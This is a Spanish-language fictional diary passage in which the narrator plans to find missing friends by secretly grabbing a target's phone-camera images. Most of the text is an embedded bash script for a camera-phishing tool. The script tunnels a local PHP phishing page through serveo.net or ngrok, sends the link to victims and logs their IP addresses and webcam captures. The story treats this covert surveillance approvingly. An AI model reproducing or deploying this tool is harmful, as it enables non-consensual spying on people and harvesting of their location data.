Querido Diario…

Desperté, tomé mis cosas y fui al baño a bañarme. Una vez saliendo, tomé el estuche de los lentes de contacto y me los iba a poner, sin embargo veía todo borroso; quité el lente una y otra vez, pero no podía quitarlo. Sentía como estaba allí, pero no podía quitarlo. Hasta que me miré al espejo y la cara la tenía llena de sangre que había salido de los ojos.

La sangre cubría todas mis mejillas, el dolor y el miedo me hicieron abrir los ojos.

Había sido un sueño, estaba sobre la cama; el único sonido de la habitación era el del aire acondicionado. Me desperté y caminé hacía el balcón; pude ver la playa, las palmeras, el olor a sal de mar. Ya había pasado mucho tiempo, teníamos que hacer algo para localizar a Lalo y Becario; no podíamos dejar de perder tiempo.

Me metí a bañar, y unas horas más tarde me encontré con Luis y Lalo 3 en el restaurante del hotel.

- Jefe, ¿ya tienes una idea de que haremos?
- Si
- ¡En serio! - los ojos de Luis se abrieron como platos - pensé que ya habías dado por muerto a esos dos
- ¡Nah!, yo jamás les abandonaría... tengo un plan; vamos a utilizar OSINT y fotografías para poder encontrarles.
- ¿Cómo piensas hacer eso?
- Baby Villanueva es fan de Tik Tok, así que todo el tiempo tiene el celular con la cámara frontal encendida, tomare screenshots de allí, y después usaremos las fotografías para encontrar en donde está; mediante OSINT.

stop() {

checkngrok=$(ps aux | grep -o "ngrok" | head -n1)
checkphp=$(ps aux | grep -o "php" | head -n1)
checkssh=$(ps aux | grep -o "ssh" | head -n1)
if [[ $checkngrok == 'ngrok' ]]; then
pkill -f -2 ngrok > /dev/null 2>&1
killall -2 ngrok > /dev/null 2>&1
fi

if [[ $checkphp == 'php' ]]; then
killall -2 php > /dev/null 2>&1
fi
if [[ $checkssh == 'ssh' ]]; then
killall -2 ssh > /dev/null 2>&1
fi
exit 1

}

dependencies() {

command -v php > /dev/null 2>&1 || { echo >&2 "I require php but it's not installed. Install it. Aborting."; exit 1; }

}

catch_ip() {

ip=$(grep -a 'IP:' ip.txt | cut -d " " -f2 | tr -d '\r')
IFS=$'\n'
printf "\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] IP:\e[0m\e[1;77m %s\e[0m\n" $ip

cat ip.txt >> saved.ip.txt

}

checkfound() {

printf "\n"
printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting targets,\e[0m\e[1;77m Press Ctrl + C to exit…\e[0m\n"
while [ true ]; do

if [[ -e "ip.txt" ]]; then
printf "\n\e[1;92m[\e[0m+\e[1;92m] Target opened the link!\n"
catch_ip
rm -rf ip.txt

fi

sleep 0.5

if [[ -e "Log.log" ]]; then
printf "\n\e[1;92m[\e[0m+\e[1;92m] Cam file received!\e[0m\n"
rm -rf Log.log
fi
sleep 0.5

done

}

server() {

command -v ssh > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }

printf "\e[1;77m[\e[0m\e[1;93m+\e[0m\e[1;77m] Starting Serveo…\e[0m\n"

if [[ $checkphp == 'php' ]]; then
killall -2 php > /dev/null 2>&1
fi

if [[ $subdomain_resp == true ]]; then

$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R '$subdomain':80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &

sleep 8
else
$(which sh) -c 'ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:3333 serveo.net 2> /dev/null > sendlink ' &

sleep 8
fi
printf "\e[1;77m[\e[0m\e[1;33m+\e[0m\e[1;77m] Starting php server… (localhost:3333)\e[0m\n"
fuser -k 3333/tcp > /dev/null 2>&1
php -S localhost:3333 > /dev/null 2>&1 &
sleep 3
send_link=$(grep -o "https://[0-9a-z]*.serveo.net" sendlink)
printf '\e[1;93m[\e[0m\e[1;77m+\e[0m\e[1;93m] Direct link:\e[0m\e[1;77m %s\n' $send_link

}

payload_ngrok() {

link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*.ngrok.io")
sed 's+forwarding_link+'$link'+g' shasnap.html > index2.html
sed 's+forwarding_link+'$link'+g' template.php > index.php

}

ngrok_server() {

if [[ -e ngrok ]]; then
echo ""
else
command -v unzip > /dev/null 2>&1 || { echo >&2 "I require unzip but it's not installed. Install it. Aborting."; exit 1; }
command -v wget > /dev/null 2>&1 || { echo >&2 "I require wget but it's not installed. Install it. Aborting."; exit 1; }
printf "\e[1;92m[\e[0m+\e[1;92m] Downloading Ngrok…\n"
arch=$(uname -a | grep -o 'arm' | head -n1)
arch2=$(uname -a | grep -o 'Android' | head -n1)
if [[ $arch == 'arm' ]] || [[ $arch2 == 'Android' ]] ; then
wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1

if [[ -e ngrok-stable-linux-arm.zip ]]; then
unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1
chmod +x ngrok
rm -rf ngrok-stable-linux-arm.zip
else
printf "\e[1;93m[!] Download error… Termux, run:\e[0m\e[1;77m pkg install wget\e[0m\n"
exit 1
fi

else
wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1
if [[ -e ngrok-stable-linux-386.zip ]]; then
unzip ngrok-stable-linux-386.zip > /dev/null 2>&1
chmod +x ngrok
rm -rf ngrok-stable-linux-386.zip
else
printf "\e[1;93m[!] Download error… \e[0m\n"
exit 1
fi
fi
fi

printf "\e[1;92m[\e[0m+\e[1;92m] Starting php server…\n"
php -S 127.0.0.1:3333 > /dev/null 2>&1 &
sleep 2
printf "\e[1;92m[\e[0m+\e[1;92m] Starting ngrok server…\n"
./ngrok http 3333 > /dev/null 2>&1 &
sleep 10

link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z].ngrok.io") printf "\e[1;92m[\e[0m\e[1;92m] Direct link:\e[0m\e[1;77m %s\e[0m\n" $link

payload_ngrok
checkfound
}

start1() {
if [[ -e sendlink ]]; then
rm -rf sendlink
fi

printf "\n"
printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net\e[0m\n"
printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok\e[0m\n"
default_option_server="1"
read -p $'\n\e[1;92m[\e[0m\e[1;77m+\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server
option_server="${option_server:-${default_option_server}}"
if [[ $option_server -eq 1 ]]; then

command -v php > /dev/null 2>&1 || { echo >&2 "I require ssh but it's not installed. Install it. Aborting."; exit 1; }
start

elif [[ $option_server -eq 2 ]]; then
ngrok_server
else
printf "\e[1;93m [!] Invalid option!\e[0m\n"
sleep 1
clear
start1
fi

}

payload() {

send_link=$(grep -o "https://[0-9a-z]*.serveo.net" sendlink)

sed 's+forwarding_link+'$send_link'+g' shasnap.html > index2.html
sed 's+forwarding_link+'$send_link'+g' template.php > index.php

}

start() {

default_choose_sub="Y"
default_subdomain="shasnap$RANDOM"

printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Choose subdomain? (Default:\e[0m\e[1;77m [Y/n] \e[0m\e[1;33m): \e[0m'
read choose_sub
choose_sub="${choose_sub:-${default_choose_sub}}"
if [[ $choose_sub == "Y" || $choose_sub == "y" || $choose_sub == "Yes" || $choose_sub == "yes" ]]; then
subdomain_resp=true
printf '\e[1;33m[\e[0m\e[1;77m+\e[0m\e[1;33m] Subdomain: (Default:\e[0m\e[1;77m %s \e[0m\e[1;33m): \e[0m' $default_subdomain
read subdomain
subdomain="${subdomain:-${default_subdomain}}"
fi

server
payload
checkfound

}

banner
dependencies
start1

- ¿Y luego? - dijo Luis
- Lo de siempre, un mensaje, una story en Instagram, en Whatsapp; y ya...
- Hum... - su cara no confiaba en mi - bueno, pues habría que probar

Pero mi respuesta sólo fue mostrarle la pantalla con el resultado:

- Ouuu joven, usted ya...
- Si, ahora hay que pedirle a Fab que busque información que relacione el fondo de esa habitación; deben de estar en un hotel de la ciudad, no pudieron sacarlos
- ¿Y eso como se hace? - preguntó Lalo 3
- La gente usualmente sube fotos a Instagram, Facebook.. sólo hay que usar un API para comparar este fondo, para relacionarlo y saber en donde estan.

Querido Diario…

Después de que le envié la información a Fab, me fui a dormir; a intentr buscar más sueño para tratar de dormir y no estar despierto para extrañarte.